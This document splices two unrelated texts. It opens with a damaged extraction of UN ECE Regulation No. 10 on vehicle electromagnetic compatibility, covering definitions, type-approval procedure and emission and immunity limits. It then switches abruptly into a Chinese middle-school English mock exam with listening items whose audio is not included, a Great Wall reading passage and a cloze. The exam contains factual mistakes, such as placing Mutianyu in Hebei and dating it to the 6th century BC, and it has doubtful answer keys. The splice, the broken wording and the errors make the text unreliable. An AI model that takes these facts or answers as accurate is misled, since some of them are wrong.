E/ECE/324 )Add.9/Rev.3E/ECE/TRANS/505 )August 14, 2008STATUS OF UNITED NATIONS REGULATIONECE 10-03UNIFORM PROVISIONS CONCERNING THE APPROVAL OF:VEHICLES WITH REGARD TO ELECTROMAGNETIC COMPATIBILITY Incorporating:02 series of amendments Date of Entry into Force: 03.09.97 Corr. 1 to the 02 series of amendments Dated: 11.03.98Supplement 1 to the 02 series of amendments Date of Entry into Force: 04.02.99 Corr. 2 to the 02 series of amendments Dated: 10.11.99Supplement 2 to the 02 series of amendments Date of Entry into Force: 12.08.04 03 series of amendments: Date of Entry into Force: 11.07.08E/ECE/324 )Add.9/Rev.3E/ECE/TRANS/505 )August 14, 2008UNITED NATIONSAGREEMENTCONCERNING THE ADOPTION OF UNIFORM TECHNICAL PRESCRIPTIONS FOR WHEELED VEHICLES, EQUIPMENT AND PARTS WHICH CAN BE FITTED AND/OR BE USED ON WHEELED VEHICLES AND THE CONDITIONS FOR RECIPROCAL RECOGNITION OF APPROVALS GRANTED ON THE BASIS OF THESE PRESCRIPTIONS (*)(Revision 2, including the amendments which entered into force on October 16, 1995)Addendum 9: Regulation No. 10Revision 3Incorporating all valid text up to:Supplement 2 to the 02 series of amendments − Date of entry into force: August 12, 200403 series of amendments: Date of entry into force: July 11, 2008UNIFORM PROVISIONS CONCERNING THE APPROVAL OF VEHICLES WITHREGARD TO ELECTROMAGNETIC COMPATIBILITY(*)Former title of the Agreement:Agreement Concerning the Adoption of Uniform Conditions of Approval and Reciprocal Recognition of Approval for Motor Vehicle Equipment and Parts, done at Geneva on March 20, 1958.REGULATION NO. 10UNIFORM PROVISIONS CONCERNING THE APPROVAL OF VEHICLESWITH REGARD TO ELECTROMAGNETIC COMPATIBILITYCONTENTSREGULATION1. Scope2. Definitions3. Application for approval4. Approval5. Markings6. Specifications7. Amendment or extension of a vehicle type approval following electrical/electronic sub assembly(ESA) addition or substitution8. Conformity of production9. Penalties for non-conformity of production10. Production definitely discontinued11. Modification and extension of type approval of a vehicle or ESAprovisions12. Transitional13. Names and addresses of Technical Services conducting approval tests, and of AdministrativeDepartmentsANNEXESAnnex 1:Examples of approval marksAnnex 2A:Model of information document for type approval of a vehicle, with respect to electromagnetic compatibilityAnnex 2B:Model of information document for type approval of an electric/electronic sub assembly, with respect to electromagnetic compatibilityAnnex 3A:Model of communication form for vehicle type approvalAnnex 3B:Model of communication form for type approval of electrical/electronic sub-assemblies Annex 3C:Attestation with regard to Paragraph 3.2.9.Annex 4:Method of measurement of radiated broadband electromagnetic emissions from vehicles Annex 5:Method of measurement of radiated narrowband electromagnetic emissions from vehiclesAnnex 6:Method of testing for immunity of vehicles to electromagnetic radiationAnnex 7:Method of measurement of radiated broadband electromagnetic emissions from electrical/electronic sub-assembliesAnnex 8:Method of measurement of radiated narrowband electromagnetic emissions from electrical/electronic sub-assembliesAnnex 9:Method(s) of testing for immunity of electrical/electronic sub-assemblies to electromagnetic radiationAnnex 10:Method(s) of testing for immunity to and emission of transients of electrical/electronic sub-assemblies1. SCOPEThis Regulation applies to:1.1.vehicles of Categories L, M, N and O (1) with regard to electromagnetic compatibility;ponents and separate technical units intended to be fitted in these vehicles with thelimitation given in Paragraph 3.2.1. with regard to electromagnetic compatibility.Itcovers:(a) requirements regarding the immunity to radiated and conducted disturbances forfunctions related to direct control of the vehicle, related to driver, passenger and otherroad users' protection and related to disturbances, which would cause confusion tothe driver or other road users;(b) requirements regarding the control of unwanted radiated and conducted emissions toprotect the intended use of electrical or electronic equipment at own or adjacentvehicles or nearby, and the control of disturbances from accessories that may beretrofitted to the vehicle.2. DEFINITIONSFor the purposes of this Regulation:2.1."Electromagnetic compatibility" means the ability of a vehicle or component(s) orseparate technical unit(s) to function satisfactorily in its electromagnetic environment withoutintroducing intolerable electromagnetic disturbances to anything in that environment.2.2."Electromagnetic disturbance" means any electromagnetic phenomenon which maydegrade the performance of a vehicle or component(s) or separate technical unit(s), or ofany other device, unit of equipment or system operated in vicinity of a vehicle. Anelectromagnetic disturbance may be electromagnetic noise, an unwanted signal or a changein the propagation medium itself.2.3."Electromagnetic immunity" means the ability of a vehicle or component(s) or separatetechnical unit(s) to operate without degradation of performance in the presence of(specified) electromagnetic disturbances which includes wanted radio frequency signalsfrom radio transmitters or radiated in-band emissions of industrial-scientific-medical (ISM)apparatus, internal or external to the vehicle.2.4."Electromagnetic environment" means the totality of electromagnetic phenomena existingat a given location.2.5."Broadband emission" means an emission, which has a bandwidth greater than that of aparticular measuring apparatus or receiver (International Special Committee on RadioInterference (CISPR) 25, second edition).2.6."Narrowband emission" means an emission which has a bandwidth less than that of aparticular measuring apparatus or receiver (CISPR 25, second edition).(1)As defined in Annex 7 to the Consolidated resolution on the Construction of Vehicles (R.E.3), (document TRANS/WP.29/Rev.1/Amend .2, as last amended by Amend.4).2.7."Electrical/electronic system" means (an) electrical and/or electronic device(s) or set(s) ofdevices together with any associated electrical connections which form part of a vehicle butwhich are not intended to be type approved separately from the vehicle.2.8."Electrical/electronic sub-assembly" (ESA) means an electrical and/or electronic deviceor set(s) of devices intended to be part of a vehicle, together with any associated electricalconnections and wiring, which performs one or more specialized functions. An ESA may beapproved at the request of a manufacturer or his authorized representative as either a"component" or a "separate technical unit (STU)".2.9."Vehicle type" in relation to electromagnetic compatibility includes all vehicles, which donot differ essentially in such respects as:2.9.1.the overall size and shape of the engine compartment;2.9.2.the general arrangement of the electrical and/or electronic components and the generalwiring arrangement;2.9.3.the primary material of which the body or shell of the vehicle is constructed (for example, asteel, aluminium or fiberglass body shell). The presence of panels of different material doesnot change the vehicle type provided the primary material of the body is unchanged.However, such variations must be notified."ESA type" in relation to electromagnetic compatibility means ESAs, which do not differ 2.10. Anin such essential respects as:2.10.1.the function performed by the ESA;2.10.2.the general arrangement of the electrical and/or electronic components, if applicable.2.11."Vehicle wiring harness" means supply voltage, bus system (e.g. CAN), signal or activeantenna cables, which are installed by the vehicle manufacturer.2.12."Immunity related functions" are:(a) Functions related to the direct control of the vehicle:(i) by degradation or change in: e.g. engine, gear, brake, suspension, activesteering, speed limitation devices;(ii) by affecting drivers position: e.g. seat or steering wheel positioning;(iii) by affecting driver's visibility: e.g. dipped beam, windscreen wiper.(b) Functions related to driver, passenger and other road user protection:(i) e.g. airbag and safety restraint systems.(c) Functions which when disturbed cause confusion to the driver or other road users:(i) optical disturbances: incorrect operation of e.g. direction indicators, stop lamps,end outline marker lamps, rear position lamp, light bars for emergency system,wrong information from warning indicators, lamps or displays related tofunctions in subparagraphs (a) or (b) which might be observed in the directview of the driver;(ii) acoustical disturbances: incorrect operation of e.g. anti-theft alarm, horn.(d) Functions related to vehicle data bus functionality:(i) by blocking data transmission on vehicle data bus-systems, which are used totransmit data, required to ensure the correct functioning of other immunityrelated functions.(e) Functions which when disturbed affect vehicle statutory data: e.g. tachograph,odometer.3. APPLICATION FOR APPROVAL3.1. Approval of a Vehicle Type3.1.1.The application for approval of a vehicle type, with regard to its electromagneticcompatibility, shall be submitted by the vehicle manufacturer.3.1.2. A model of information document is shown in Annex 2A.3.1.3.The vehicle manufacturer shall draw up a schedule describing all relevant vehicleelectrical/electronic systems or ESAs, body styles, variations in body material, generalwiring arrangements, engine variations, left-hand/right-hand drive versions and wheelbaseversions. Relevant vehicle electrical/electronic systems or ESAs are those which may emitsignificant broadband or narrowband radiation and/or those which are involved in immunityrelated functions of the vehicle (see Paragraph 2.12.).3.1.4. A vehicle representative of the type to be approved shall be selected from this schedule bymutual agreement between the manufacturer and the Competent Authority. The choice ofvehicle shall be based on the electrical/electronic systems offered by the manufacturer.One or more vehicles may be selected from this schedule if it is considered by mutualagreement between the manufacturer and the Competent Authority that differentelectrical/electronic systems are included which are likely to have a significant effect on thevehicle's electromagnetic compatibility compared with the first representative vehicle.3.1.5.The choice of the vehicle(s) in conformity with Paragraph 3.1.4. above shall be limited tovehicle/electrical/electronic system combinations intended for actual production.3.1.6.The manufacturer may supplement the application with a report on tests which have beencarried out. Any such data provided may be used by the approval authority for the purposeof drawing up the communication form for type-approval.3.1.7.If the Technical Service responsible for the type approval test carries out the test itself, thena vehicle representative of the type to be approved according to Paragraph 3.1.4. shall beprovided.3.1.8.For vehicles of Categories M, N, and O the vehicle manufacturer must provide a statementof frequency bands, power levels, antenna positions and installation provisions for theinstallation of radio frequency transmitters (RF-transmitters), even if the vehicle is notequipped with an RF transmitter at time of type approval. This should cover all mobile radioservices normally used in vehicles. This information must be made publicly availablefollowing the type approval.Vehicle manufacturers must provide evidence that vehicle performance is not adverselyaffected by such transmitter installations.3.2. ESA type Approval3.2.1.Applicability of this Regulation to ESA:3.2.2.The application for approval of a type of ESA with regard to its electromagnetic compatibilityshall be submitted by the vehicle manufacturer or by the manufacturer of the ESA.3.2.3. A model of information document is shown in Annex 2B.3.2.4.The manufacturer may supplement the application with a report on tests which have beencarried out. Any such data provided may be used by the approval authority for the purposeof drawing up the communication form for type-approval.3.2.5.If the Technical Service responsible for the type approval test carries out the test itself, thena sample of the ESA system representative of the type to be approved shall be provided, ifnecessary, after discussion with the manufacturer on, e.g., possible variations in the layout,number of components, number of sensors. If the Technical Service deems it necessary, itmay select a further sample.3.2.6.The sample(s) must be clearly and indelibly marked with the manufacturer's trade name ormark and the type designation.3.2.7.Where applicable, any restrictions on use should be identified. Any such restrictions shouldbe included in Annexes 2B and/or 3B.3.2.8.ESA which are brought to the market as spare parts need no type approval if they areobviously marked as a spare part by an identification number and if they are identical andfrom the same manufacturer as the corresponding original equipment manufacturer (OEM)part for an already type approved vehicle.ponents sold as aftermarket equipment and intended for the installation in motorvehicles need no type approval if they are not related to immunity related functions(see Paragraph 2.12.). In this case a declaration must be issued by the manufacturer thatthe ESA fulfils the requirements of this Regulation and in particular the limits defined inParagraphs 6.5., 6.6., 6.8. and 6.9.During the transition period, ending on November 4, 2008, the person or legal entityresponsible for placing on the market of such a product has to submit all relevantinformation and/or a sample to a Technical Service which will determine if the equipment isimmunity related or not. The result of the inspection shall be available within three weeksand not require additional testing. A document according to the example given in Annex 3Cshall be issued by the Technical Service within the same period. In case of doubts and ifthe Technical Service refuses to issue an attestation according to Annex 3C, themanufacturer has to apply for type approval for his product.4. APPROVAL4.1. Type Approval Procedures4.1.1. Type Approval of a VehicleThe following alternative procedures for vehicle type approval may be used at the discretionof the vehicle manufacturer.4.1.1.1. Approval of a Vehicle InstallationA vehicle installation may be type approved directly by following the provisions laid down inParagraph 6 of this Regulation. If this procedure is chosen by a vehicle manufacturer, noseparate testing of electrical/electronic systems or ESAs is required.4.1.1.2. Approval of Vehicle Type by Testing of Individual ESAsA vehicle manufacturer may obtain approval for the vehicle by demonstrating to theapproval authority that all the relevant (see Para. 3.1.3. of this Regulation)electrical/electronic systems or ESAs have been approved in accordance with thisRegulation and have been installed in accordance with any conditions attached thereto.4.1.1.3. A manufacturer may obtain approval according to this Regulation if the vehicle has noequipment of the type, which is subject to immunity or emission tests. Such approvals donot require testing.4.1.2. Type Approval of an ESAType approval may be granted to an ESA to be fitted either to any vehicle type (componentapproval) or to a specific vehicle type or types requested by the ESA manufacturer(separate technical unit approval).4.1.3.ESAs, which are intentional RF transmitters, which have not received type approval inconjunction with a vehicle manufacturer, must be supplied with suitable installationguidelines.4.2. Granting of Type Approval4.2.1. Vehicle4.2.1.1. If the representative vehicle fulfils the requirements of Paragraph 6 of this Regulation, typeapproval shall be granted.4.2.1.2. A model of communication form for type approval is contained in Annex 3A.4.2.2. ESA4.2.2.1. If the representative ESA system(s) fulfil(s) the requirements of Paragraph 6 of thisRegulation, type approval shall be granted.4.2.2.2. A model of communication form for type approval is contained in Annex 3B.4.2.3.In order to draw up the communication forms referred to in Paragraph 4.2.1.2. or 4.2.2.2.above, the Competent Authority of the Contracting Party granting the approval may use areport prepared or approved by a recognized laboratory or in accordance with the provisionsof this Regulation.4.3.Approval, or refusal of approval, of a type of vehicle or ESA in accordance with thisRegulation shall be notified to the Parties to the Agreement applying this Regulation on aform conforming to the model in Annex 3A or 3B of this Regulation, accompanied byphotographs and/or diagrams or drawings on an appropriate scale supplied by the applicantin a format not larger than A4 (210 x 297 mm) or folded to those dimensions.5. MARKINGS5.1.An approval number shall be assigned to each vehicle or ESA type approved. The first twodigits of this number (at present 03) shall indicate the series of amendments correspondingto the most recent essential technical amendments made to the Regulation at the date ofapproval. A Contracting Party may not assign the same approval number to another type ofvehicle or ESA.Markings5.2. Presenceof5.2.1. VehicleAn approval mark described in Paragraph 5.3. below shall be affixed to every vehicleconforming to a type approved under this Regulation.5.2.2. Sub-assemblyAn approval mark described in Paragraph 5.3. below shall be affixed to every ESAconforming to a type approved under this Regulation.No marking is required for electrical/electronic systems built into vehicles which areapproved as units.5.3.An international approval mark must be affixed, in a conspicuous and easily accessibleplace specified on the approval communication form, on each vehicle conforming to the typeapproved under this Regulation. This mark shall comprise:5.3.1. A circle containing the letter "E", followed by the distinguishing number of the countrygranting the approval. (1)5.3.2.The number of this Regulation, followed by the letter "R", a dash and the approval numberto the right of the circle specified in Paragraph 5.3.1.5.4.An example of the type-approval mark is shown in Annex 1 to this Regulation.5.5.Markings on ESAs in conformity with Paragraph 5.3. above need not be visible when theESA is installed in the vehicle.6. SPECIFICATIONSSpecifications6.1. General6.1.1. A vehicle and its electrical/electronic system(s) or ESA(s) shall be so designed, constructedand fitted as to enable the vehicle, in normal conditions of use, to comply with therequirements of this Regulation.6.1.1.1. A vehicle shall be tested for radiated emissions and for immunity to radiated disturbances.No tests for conducted emissions or immunity to conducted disturbances are required forvehicle type approval.6.1.1.2. ESA(s) shall be tested for radiated and conducted emissions, for immunity to radiated andconducted disturbances.6.1.2.Before testing the Technical Service has to prepare a test plan in conjunction with themanufacturer, which contains at least mode of operation, stimulated function(s), monitoredfunction(s), pass/fail criterion(criteria) and intended emissions.(1)1 for Germany,2 for France,3 for Italy,4 for the Netherlands,5 for Sweden,6 for Belgium,7 for Hungary,8 for the CzechRepublic, 9 for Spain, 10 for Serbia, 11 for the United Kingdom, 12 for Austria, 13 for Luxembourg, 14 for Switzerland,15 (vacant), 16 for Norway, 17 for Finland, 18 for Denmark, 19 for Romania, 20 for Poland, 21 for Portugal, 22 for theRussian Federation, 23 for Greece, 24 for Ireland, 25 for Croatia, 26 for Slovenia, 27 for Slovakia, 28 for Belarus, 29 for Estonia, 30 (vacant), 31 for Bosnia and Herzegovina, 32 for Latvia, 33 (vacant), 34 for Bulgaria, 35 (vacant), 36 for Lithuania,37 for Turkey, 38 (vacant), 39 for Azerbaijan, 40 for The former Yugoslav Republic of Macedonia, 41 (vacant), 42 for theEuropean Community (Approvals are granted by its Member States using their respective ECE symbol), 43 for Japan,44 (vacant), 45 for Australia, 46 for Ukraine, 47 for South Africa, 48 for New Zealand, 49 for Cyprus, 50 for Malta, 51 for theRepublic of Korea, 52 for Malaysia, 53 for Thailand, 54 and 55 (vacant), 56 for Montenegro, 57 (vacant) and 58 for Tunisia.Subsequent numbers shall be assigned to other countries in the chronological order in which they ratify or accede to the Agreement Concerning the Adoption of Uniform Technical Prescriptions for Wheeled Vehicles, Equipment and Parts which can be Fitted and/or be Used on Wheeled Vehicles and the Conditions for Reciprocal Recognition of Approvals Granted on the Basis of these Prescriptions, and the numbers thus assigned shall be communicated by the Secretary-General of the United Nations to the Contracting Parties to the Agreement.6.2. Specifications Concerning Broadband Electromagnetic Radiation from Vehicles6.2.1. Method of MeasurementThe electromagnetic radiation generated by the vehicle representative of its type shall bemeasured using the method described in Annex 4. The method of measurement shall bedefined by the vehicle manufacturer in accordance with the Technical Service.6.2.2. Vehicle Broadband Type Approval Limits6.2.2.1. If measurements are made using the method described in Annex 4 using avehicle-to-antenna spacing of 10.0 ± 0.2 m, the limits shall be 32 dB microvolts/m in the30 to 75 MHz frequency band and 32 to 43 dB microvolts/m in the 75 to 400 MHz frequencyband, this limit increasing logarithmically with frequencies above 75 MHz as shownin Appendix 2. In the 400 to 1,000 MHz frequency band the limit remains constant at43 dB microvolts/m.6.2.2.2. If measurements are made using the method described in Annex 4 using avehicle-to-antenna spacing of 3.0 ± 0.05 m, the limits shall be 42 dB microvolts/m in the30 to 75 MHz frequency band and 42 to 53 dB microvolts/m in the 75 to 400 MHz frequencyband, this limit increasing logarithmically with frequencies above 75 MHz as shown inAppendix 3. In the 400 to 1,000 MHz frequency band the limit remains constant at53 dB microvolts/m.6.2.2.3. On the vehicle representative of its type, the measured values, expressed indB microvolts/m shall be below the type approval limits.6.3. Specifications Concerning Narrowband Electromagnetic Radiation from Vehicles6.3.1. Method of MeasurementThe electromagnetic radiation generated by the vehicle representative of its type shall bemeasured using the method described in Annex 5. These shall be defined by the vehiclemanufacturer in accordance with the Technical Service.Narrowband Type Approval Limits6.3.2. Vehicle6.3.2.1. If measurements are made using the method described in Annex 5 using avehicle-to-antenna spacing of 10.0 ± 0.2 m, the limits shall be 22 dB microvolts/m in the30 to 75 MHz frequency band and 22 to 33 dB microvolts/m in the 75 to 400 MHz frequencyband, this limit increasing logarithmically with frequencies above 75 MHz as shown inAppendix 4. In the 400 to 1,000 MHz frequency band the limit remains constant at33 dB microvolts/m.6.3.2.2. If measurements are made using the method described in Annex 5 using avehicle-to-antenna spacing of 3.0 ± 0.05 m, the limit shall be 32 dB microvolts/m in the 30 to75 MHz frequency band and 32 to 43 dB microvolts/m in the 75 to 400 MHz frequency band,this limit increasing logarithmically with frequencies above 75 MHz as shown in Appendix 5.In the 400 to 1,000 MHz frequency band the limit remains constant at 43 dB microvolts/m.6.3.2.3. On the vehicle representative of its type, the measured values, expressed indB microvolts/m, shall be below the type approval limit.6.3.2.4. Notwithstanding the limits defined in Paragraphs 6.3.2.1., 6.3.2.2. and 6.3.2.3. of this Annex,if, during the initial step described in Paragraph 1.3. of Annex 5, the signal strengthmeasured at the vehicle broadcast radio antenna is less than 20 dB microvolts over thefrequency range 76 to 108 MHz measured with an average detector, then the vehicle shallbe deemed to comply with the limits for narrowband emissions and no further testing will berequired.6.4. Specifications Concerning Immunity of Vehicles to Electromagnetic Radiation6.4.1. Method of TestingThe immunity to electromagnetic radiation of the vehicle representative of its type shall betested by the method described in Annex 6.6.4.2. Vehicle Immunity Type Approval Limits6.4.2.1. If tests are made using the method described in Annex 6, the field strength shall be30 volts/m rms (root mean squared) in over 90% of the 20 to 2,000 MHz frequency bandand a minimum of 25 volts/m rms over the whole 20 to 2,000 MHz frequency band.representative of its type shall be considered as complying with immunity 6.4.2.2. Thevehiclerequirements if, during the tests performed in accordance with Annex 6, there shall be nodegradation of performance of "immunity related functions".6.5. Specification Concerning Broadband Electromagnetic Interference Generated byESAs.6.5.1. Method of MeasurementThe electromagnetic radiation generated by the ESA representative of its type shall bemeasured by the method described in Annex 7.6.5.2. ESA Broadband Type Approval Limits6.5.2.1. If measurements are made using the method described in Annex 7, the limits shall be 62 to52 dB microvolts/m in the 30 to 75 MHz frequency band, this limit decreasing logarithmicallywith frequencies above 30 MHz, and 52 to 63 dB microvolts/m in the 75 to 400 MHz band,this limit increasing logarithmically with frequencies above 75 MHz as shown in Appendix 6.In the 400 to 1,000 MHz frequency band the limit remains constant at 63 dB microvolts/m.6.5.2.2. On the ESA representative of its type, the measured values, expressed in dB microvolts/m,shall be below the type approval limits.narrowband electromagnetic interference generated by ESAs.6.6. Specificationsconcerning6.6.1. Method of MeasurementThe electromagnetic radiation generated by the ESA representative of its type shall bemeasured by the method described in Annex 8.6.6.2. ESA Narrowband Type Approval Limits6.6.2.1. If measurements are made using the method described in Annex 8, the limits shall be 52 to42 dB microvolts/m in the 30 to 75 MHz frequency band, this limit decreasing logarithmicallywith frequencies above 30 MHz, and 42 to 53 dB microvolts/m in the 75 to 400 MHz band,this limit increasing logarithmically with frequencies above 75 MHz as shown in Appendix 7.In the 400 to 1,000 MHz frequency band the limit remains constant at 53 dB microvolts/m. 6.6.2.2. On the ESA representative of its type, the measured value, expressed in dB microvolts/mshall be below the type approval limits.6.7. Specifications Concerning Immunity of ESAs to Electromagnetic Radiation6.7.1. Method(s) of TestingThe immunity to electromagnetic radiation of the ESA representative of its type shall betested by the method(s) chosen from those described in Annex 9.6.7.2. ESA Immunity Type Approval Limits6.7.2.1. If tests are made using the methods described in Annex 9, the immunity test levels shall be60 volts/m for the 150 mm stripline testing method, 15 volts/m for the 800 mm striplinetesting method, 75 volts/m for the Transverse Electromagnetic Mode (TEM) cell testingmethod, 60 mA for the bulk current injection (BCI) testing method and 30 volts/m for the freefield testing method in over 90% of the 20 to 2,000 MHz frequency band, and to a minimumof 50 volts/m for the 150 mm stripline testing method, 12.5 volts/m for the 800 mm striplinetesting method, 62.5 volts/m, for the TEM cell testing method, 50 mA for the bulk currentinjection (BCI) testing method and 25 volts/m for the free field testing method over the whole20 to 2,000 MHz frequency band.6.7.2.2. The ESA representative of its type shall be considered as complying with immunityrequirements if, during the tests performed in accordance with Annex 9, there shall be nodegradation of performance of "immunity related functions".。

重庆市初二上学期英语试题与参考答案

重庆市英语初二上学期模拟试题与参考答案一、听力部分（本大题有20小题，每小题1分，共20分）1、Listen to the following conversation and choose the best answer to the question you hear.A. The man is asking for help with his homework.B. The woman is explaining the rules of a game.C. The man is trying to find out the time for the movie.Question: What is the main topic of the conversation?Answer: BExplanation: The conversation is about the rules of a game, as the woman is explaining the rules to the man.2、Listen to the following short passage and answer the question.How many people attended the sports event last weekend?A. 150B. 300C. 500Question: What was the number of people who attended the sports event? Answer: BExplanation: The passage states that the sports event attracted 300 people, making option B the correct answer.3、What does the boy want to do after school?A. Play basketball with his friends.B. Go to the library to study.C. Watch a movie at home.Answer: A. Play basketball with his friends.Explanation: In the dialogue, the boy mentions that he has finished all his homework and would like to meet up with his friends at the park to play basketball.4、How will the weather be tomorrow according to the forecast?A. It will be sunny and warm.B. It will rain in the afternoon.C. There will be heavy snow.Answer: B. It will rain in the afternoon.Explanation: The weather report mentioned in the passage clearly states that there will be scattered showers turning into steady rain by the afternoon.For a real exam, students would listen to audio recordings containing dialogues or monologues, and then select their answers based on what they hear. Here, we’ve provided sample questions and answers with explanations as per your request.5、You are listening to a conversation between two students in a library.A: Hey, do you know where we can find the dictionaries section?B: Yeah, it’s on the second floor. Just follow the signs that say “Reference.”Question: What are the two students looking for in the library?A) Books on historyB) DictionariesC) MagazinesD) JournalsAnswer: B) DictionariesExplanation: The conversation clearly indicates that the students are looking for the dictionaries section, as mentioned by Student B.6、Listen to a short dialogue between a teacher and a student in a school office.Teacher: Good morning, Sarah. How can I help you today?Student: Good morning, Mr. Smith. I need to withdraw some money from my savings account.Question: What is the student’s request?A) To borrow a book from the libraryB) To withdraw money from a savings accountC) To order a school uniformD) To schedule a school tripAnswer: B) To withdraw money from a savings accountExplanation: The student explicitly mentions their need to withdraw money from their savings account, which is the direct request they are making.7、What is Amy planning to do on Saturday?A) Go shopping with her sister.B) Visit her grandparents.C) Stay at home and study.Answer: B) Visit her grandparents.Explanation: In the conversation, Amy mentions that she promised her grandmother she would come over for a chat and help out around the house on Saturday.8、How does Tom plan to spend his Sunday afternoon?A) Playing football with friends.B) Going to the movies.C) Studying for an exam.Answer: A) Playing football with friends.Explanation: During the dialogue, Tom states that he’s meeting some classmates to play a friendly match of football on Sunday afternoon.9.You are listening to a conversation between a student and a teacher.Student: “Mr.Smith, can you explain why we’re learning about Shakespeare’s sonnets?”Teacher: “Absolutely. Shakespeare’s sonnets are not only beautiful pieces of poetry, but they also provide insight into the language and cultural context o f the time. They’re a window into the human experience.”Question: What is the main purpose of learning about Shakespeare’s sonnets according to the teacher?A)To improve grammar skillsB)To understand the cultural context of the timeC)To learn about Shakespeare’s personal lifeD)To enhance vocabularyAnswer: B) To understand the cultural context of the timeExplanation: The teacher mentions that Shakespeare’s sonnets are a “window into the human experience” and provide insight into the “l anguage and cultural context of the time,” which indicates the main purpose is to understand the cultural context.10.You are listening to a news report about a new discovery in archaeology.News Anchor: “According to the latest findings from the Egyptolog ists, they have uncovered an ancient tomb that dates back to the Pharaohs’ era. The tomb contains numerous artifacts, including a gold sarcophagus and several inscriptions that could rewrite our understanding of ancient Egyptian history.”Question: What is the significance of the new discovery according to the news report?A)It will provide more information about the Pharaohs’ personal livesB)It will help us understand the ancient Egyptian language betterC)It will change our understanding of ancient Egyptian historyD)It will provide evidence of advanced technology in the Pharaohs’ timeAnswer: C) It will change our understanding of ancient Egyptian historyExplanation: The news report suggests that the inscriptions found in thetomb could “rewrite our understanding of ancient Egyptian history,” indicating that the significance of the discovery is its potential to change historical perspectives.11、Listen to a short conversation between two students about their weekend plans. Then choose the correct answer.11、Mike and Sarah are talking about their plans for the weekend. What is Mike going to do?A. He is going to visit his grandparents.B. He is going to play soccer with friends.C. He is going to study for exams.Answer: B. He is going to play soccer with friends.Explanation: In the conversation, Mike mentions that he has a soccer match on Saturday and is planning to practice with his team on Sunday as well.12、Listen to a dialogue where a teacher is giving instructions for an upcoming field trip. Choose the correct answer based on the information provided.12、The teacher is explaining when the students should arrive at school for the field trip. When should the students be at school?A. At 7:30 AM.B. At 8:00 AM.C. At 8:30 AM.Answer: A. At 7:30 AM.Explanation: The teacher clearly states that the bus will leave promptly at 8:00 AM and asks all students to be at the school by 7:30 AM to ensure everyone is ready to depart on time.13.What does the woman say about her brother?A. He is a teacher.B. He is a student.C. He is a doctor.D. He is a lawyer.Answer: BExplanation: The woman says, “My brother is a student. He studies at a university in New York.” Therefore, the correct answer is B.14.How does the man prefer to communicate with his friends?A. By phone.B. By email.C. By text messages.D. By social media.Answer: CExplanation: The man says, “I prefer to communicate with my friends through text messages. It’s quick and easy.” Theref ore, the correct answer is C.15、Listen to the dialogue between two students talking about their weekend plans. Choose the correct answer based on what you hear.A. They are going to the movies.B. They are going to the library.C. They are going to a concert.Correct Answer: B. They are going to the library.Explanation: In the dialogue, one student mentions that they need to finish their history project and asks if the other student wants to meet at the library to study together.Example Dialogue:•Student A: “Hey, do you want to meet up this weekend? We could work on our history project.”•Student B: “Sure, let’s meet at the library on Saturday afternoon.”16、Listen to the conversation between a teacher and a student discussing a science experiment. Choose the correct answer based on what you hear.A. The experiment involves growing plants in different types of soil.B. The experiment is about observing the effects of light on plant growth.C. The experiment is focused on the impact of water on plant growth.Correct Answer: A. The experiment involves growing plants in different types of soil.Explanation: During the conversation, the teacher explains that the class will be examining how plants grow in various soils such as sandy, loamy, and clay soils to understand which type supports better growth.Example Dialogue:•Teacher: “For our next experiment, we’ll be planting seeds in differentkinds of soil. We have sandy soil, loamy soil, and clay soil. You’ll observe how the plants grow in these different conditions.”•Student: “That sounds interesting! When do we start?”•Teacher: “We’ll begin setting up the experiment tomorrow.”17.You are listening to a conversation between two students, Alice and Bob, discussing their weekend plans.Question: What is Bob’s plan for the weekend?A. He plans to go hiking.B. He plans to go to a movie with his friends.C. He plans to stay home and read a book.Answer: BExplanation: In the conversation, Bob says, “Well, I’m thinking of going to a movie this weekend. Do you want to join me?” This indicates that he plans to go to a movie with his friends.18.You are listening to a dialogue between a teacher and a student discussinga school project.Question: What is the teacher’s main concern about the student’s project?A. The project is not creative enough.B. The student is not on schedule with the project.C. The project does not meet the required standards.Answer: BE xplanation: The teacher says, “I’m a bit worried about the progress of your project. Have you finished the research part yet?” This shows that theteacher’s main concern is that the student is not on schedule with the project.19、What is the relationship between the two speakers?A. Teacher and studentB. Shopkeeper and customerC. Mother and sonAnswer: B. Shopkeeper and customerExplanation: In the dialogue, one speaker asks about the price of a book, indicating they are looking to make a purchase, while the other speaker responds with the price and offers additional information about the book. This interaction suggests a transaction typical of a shopkeeper and a customer.20、How much does the book cost?A.$5.00B.$7.50C.$10.00Answer: C.$10.00Explanation: The shopkeeper clearly states that the book costs ten dollars when asked by the customer. The other options are mentioned as prices of different books or editions but not the one in question.二、阅读理解（30分）Reading ComprehensionRead the following passage and answer the questions that follow.The Great Wall of China is one of the most famous landmarks in the world. It was built over a period of more than two thousand years, starting in the 7th century BC. The wall was originally built to protect the Chinese Empire from invasions by various nomadic tribes. Over time, it expanded and became a symbol of the Chinese nation’s strength and determination.The wall stretches over 13,000 miles (21,196 kilometers) and runs through various provinces in northern China. It is made of stone, brick, tamped earth, wood, and other materials, depending on the region. The wall has watchtowers, battlements, and fortresses along its length, which were used by soldiers to spot enemy movements and defend the empire.One of the most famous parts of the wall is the Mutianyu section, located in the Hebei province. It is known for its steep climb and beautiful scenery. The wall at Mutianyu was built in the 6th century BC and has undergone several repairs and reconstructions over the centuries.Questions:1.What was the primary purpose of building the Great Wall of China?a) To protect the Chinese Empire from invasionsb) To show off the wealth of the Chinese Empirec) To celebrate the birthday of the first emperor of Chinad) To build a bridge across the Gobi Desert2.What materials were used to build the Great Wall of China?a) Only stone and brickb) Stone, brick, tamped earth, wood, and other materialsc) Only wood and tamped earthd) Only tamped earth and other materials3.Which section of the Great Wall is known for its steep climb and beautiful scenery?a) The Mutianyu sectionb) The Badaling sectionc) The Jinshanling sectiond) The Great Wall of GansuAnswers:1.a) To protect the Chinese Empire from invasions2.b) Stone, brick, tamped earth, wood, and other materials3.a) The Mutianyu section三、完型填空（15分）Section III: ClozeRead the following passage and choose the best word for each blank from the options given below. Write the letter of the correct word in the corresponding blank.John was an avid reader from a young age. He would often spend his evenings 1 a book in his room. One day, his mother noticed that he seemed 2 happy and asked him what was wrong. John replied, “I just finished a really great book, but I can’t remember the title.”His mother smiled and said, “That happens sometimes. Let me help you find it.” She 3 his bookshelf and started flipping through the books. After a few minutes, she found the book and handed it to John. “Here it is,” she said. “The title is ‘The Great Gatsby.’”John’s eyes lit up with joy. “Thank you, Mom!” he exclaimed. “I thought I’d never find it again.”1.A. readingB. wroteC. had readD. reads2.A. notB. tooC. moreD. little3.A. checkedB. lookedC. examinedD. scannedAnswers:1.A. reading2.A. not3.D. 